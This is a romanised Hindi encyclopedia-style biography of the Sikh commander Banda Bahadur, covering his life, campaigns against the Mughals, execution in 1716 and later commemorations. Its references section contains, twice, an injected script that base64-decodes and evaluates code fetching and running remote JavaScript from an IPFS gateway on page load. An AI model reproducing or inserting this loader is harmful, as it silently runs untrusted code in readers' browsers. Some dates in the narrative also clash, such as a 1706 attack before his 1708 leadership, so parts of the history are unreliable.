बन्दा बहादुर

	banda bahadur
	banda bahadur\|200px\|center
poora nam	banda bahadur
any nam	'banda sianh bahadur', 'lachhaman das', 'lachhaman dev', 'madho das'
janm	16 aktoobar, 1670
janm bhoomi	rajauri, jammoo
mrityu tithi	16 joon, 1716
mrityu sthan	dilli
santan	ajay sianh
dharmik manyata	sikkh
sanbandhit lekh	sikkh dharm, sikkh, guru gobind sianh, mugal samrajy
sakriyata	1708-1716 ee.
any janakari	apani mrityu se poorv hi banda bahadur ne ati prachin zamiandari pratha ka ant kar diya tha tatha krishakoan ko b de-b de jagiradaroan aur zamiandaroan ki dasata se mukt kar diya. vah sampradayikata ki sankirn bhavanaoan se pare the.

banda bahadur (aangrezi: Banda Bahadur, janm- 16 aktoobar, 1670, rajauri; mrityu- 16 joon, 1716, dilli) prasiddh sikkh sainik aur rajanitik neta the. ve bharat ke mugal shasakoan ke khilaf yuddh chhe dane vale pahale sikkh sainy pramukh the, jinhoanne sikkhoan ke rajy ka asthayi vistar bhi kiya. unhoanne mugaloan ke ajey hone ke bhram ko to da, chhote sahabazadoan ki shahadat ka badala liya aur guru gobind sianh dvara sankalpit prabhusattasampann lok rajy ki rajadhani lohagadh mean khalasa raj ki nianv rakhi. yahi nahian, banda bahadur ne guru nanak dev aur guroo gobind sianh ke nam se sikka aur mohare jari karake nimn varg ke logoan ko uchch pad dilaya aur halavahak kisan-mazadooroan ko zamin ka malik banaya.

jivan parichay

banda bahadur ka janm 1670 ee. mean kashmir ke puanchh zile ke rajauri kshetr mean ek rajapoot parivar mean hua tha. unaka bachapan ka nam 'lakshman dev' tha. 15 varsh ki umr mean vah ek bairagi ke shishy banean aur unaka nam 'madhodas' ho gaya. kuchh samay tak panchavati (nasik) mean rahane ke bad ve dakshin ki or chale gaye aur vahaan ek ashram ki sthapana ki. dasavean guru govind sianh ki 1708 ee. mean hatya ho jane ke bad banda sikkhoan ke neta bane. vah sikkhoan ke adhyatmik neta to nahian the, kintu 1708 se 1715 ee. tak apani mrityu paryant unake rajanitik neta rahe.

any nam

yuvavastha mean banda bahadur ne pahale saman (yogi) banane ka nishchay kiya aur 1708 mean guru gobiand sianh ka shishy banane tak vah madho das ke nam se jane jate rahe. sikkh biradari mean shamil hone ke bad unaka nam banda sianh bahadur ho gaya aur vah lokapriy to nahian kintu sammanit senani avashy ban ge, unake tatasth, thande aur avaiyaktik svabhav ne unhean unake logoan ke bich lokapriy nahian banane diya. banda bahadur ko 'banda sianh bahadur', 'lachhaman das', 'lachhaman dev' tatha 'madho das' nam se bhi jana jata hai.

pratishodh

1708 ee. mean sikkhoan ke dasavean guru govind sianh ne banda ke ashram ko dekha. unhoanne madho das ko sikkh dharm mean dikshit kiya aur unaka nam 'banda sianh' rakh diya. guru govind sianh ji ke sat aur nau varsh ke bachchoan ki jab sarahind ke faujadar vazir khaan ne kroorata ke sath hatya kar di, to banda sianh par isaki b di tivr pratikriya huee. unhoanne vazir khaan se badala lena apana mukhy kartavy man liya. unhoanne panjab akar b di sankhya mean sikkhoan ko sangathit kiya aur sarahind par qabza karake vazir khaan ko mar dala.

rajy vistar evan ajnatavas

banda bahadur ne yamuna aur sataluj ke pradesh ko apane adhin kar liya aur mukhalishapur mean lohagadh (lohagadh athava lauhagadh) namak ek mazaboot qila nirmit karaya, isake sath hi raja ki upadhi grahan kar apane nam se sikke bhi jari kara diye. kuchh kal bad samrat bahadur shah pratham (1707-1712 ee.) ne shighr hi lohagadh par ghera dalakar use apane adhin kar liya. banda tatha usake anek anuyayiyoan ko badhy hokar shah pratham ki mrityu tak ajnatavas karana p da.

mugaloan se samana

banda bahadur ne 1706 ee. mean mugaloan par hamala karake bahut b de kshetr par qabza kar liya. isake uparant banda ne lohagadh ko phir se apane adhikar mean kar liya aur sarahind ke soobe mean lootapat arambh kar di. dakkan kshetr mean unake dvara lootapat aur qatleam se mugaloan ko un par poori takat se hamala karana p da. kintu 1715 ee. mean mugaloan ne guradasapur ke qile par ghera dal diya. banda bahadur us samay usi qile mean the. kee mah ki gherabandi ke bad khady samagri ke abhav ke karan un logoan ko atm samarpan karane ke lie badhy hona p da. mugaloan ne qile par adhikar karane ke sath hi banda tatha unake anek sathiyoan ko bandi bana liya.

shahadat

faravari, 1716 mean banda bahadur aur unake 794 sathiyoan ko kaid karake dilli le jaya gaya. unhean amanushik yatanaean di geean. pratidin 100 ki sankhya mean sikkh phaansi par latakae ge. banda ke samane unake putr ko mar dala gaya. jab unaki bari aee, to banda sianh ne musalaman nyayadhish se kaha ki- "unaka yahi hal hona tha, kyoanki apane pyare guru gobind sianh ki ichchhaoan ko poora karane mean vah naqam rahe." unhean lal garm lohe ki chh doan se yatana dekar mar dala gaya. farrukhasiyar ke adesh par banda ke sharir ko garm chimatoan se nuchavaya gaya aur phir hathi se kuchalavakar mar dala gaya. yah ghatana 16 joon, 1716 ee. ko ghati thi.

apani mrityu se poorv hi banda bahadur ne ati prachin zamiandari pratha ka ant kar diya tha tatha krishakoan ko b de-b de jagiradaroan aur zamiandaroan ki dasata se mukt kar diya. vah sampradayikata ki sankirn bhavanaoan se pare the. musalamanoan ko rajy mean poorn dharmik svatantry diya gaya tha. paanch hazar musalaman bhi unaki sena mean the. banda sianh ne poore rajy mean yah ghoshana kar di thi ki vah kisi prakar bhi musalamanoan ko kshati nahian pahuanchayeange aur ve sikkh sena mean apani namaz padhane aur khutava karavane mean svatantr hoange.

man-samman

dilli ke mashahoor barapula elivetid rod ka nam badalakar ab banda bahadur ke nam par rakha gaya hai. ab barapula phlaeeovar ka nam 'baba banda bahadur setu' ho gaya hai. darasal baba banda sianh bahadur shahid hue the maharauli ke kutubaminar ke pas, lekin jahaan unaka aantim sanskar hua, us jagah par ab ye pul bana hua hai.

pradhanamantri nareandr modi ne sikkh vir banda bahadur ke 300vean shahadat divas ke mauke par banda bahadur ke nam par chaandi ke sikke ka lokarpan kiya. sath hi unhoanne banda sianh par likhi kitab ka bhi lokarpan kiya. postal vibhag ne sabase pahale banda ke nam par postal kavar jari kiya aur phir keandriy vittamantri ke karakamaloan se chaandi ka sikka jari karava diya gaya.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ janie, kaun the baba banda sianh bahadur (hindi) hindi.news24online.com. abhigaman tithi: 09 janavari, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

jatthedar banda sianh bahadur

sanbandhit lekh

varnamala kramanusar lekh khoj

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[1] , kaun the baba banda sianh bahadur (hindi) hindi.news24online.com. abhigaman tithi: 09 janavari, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]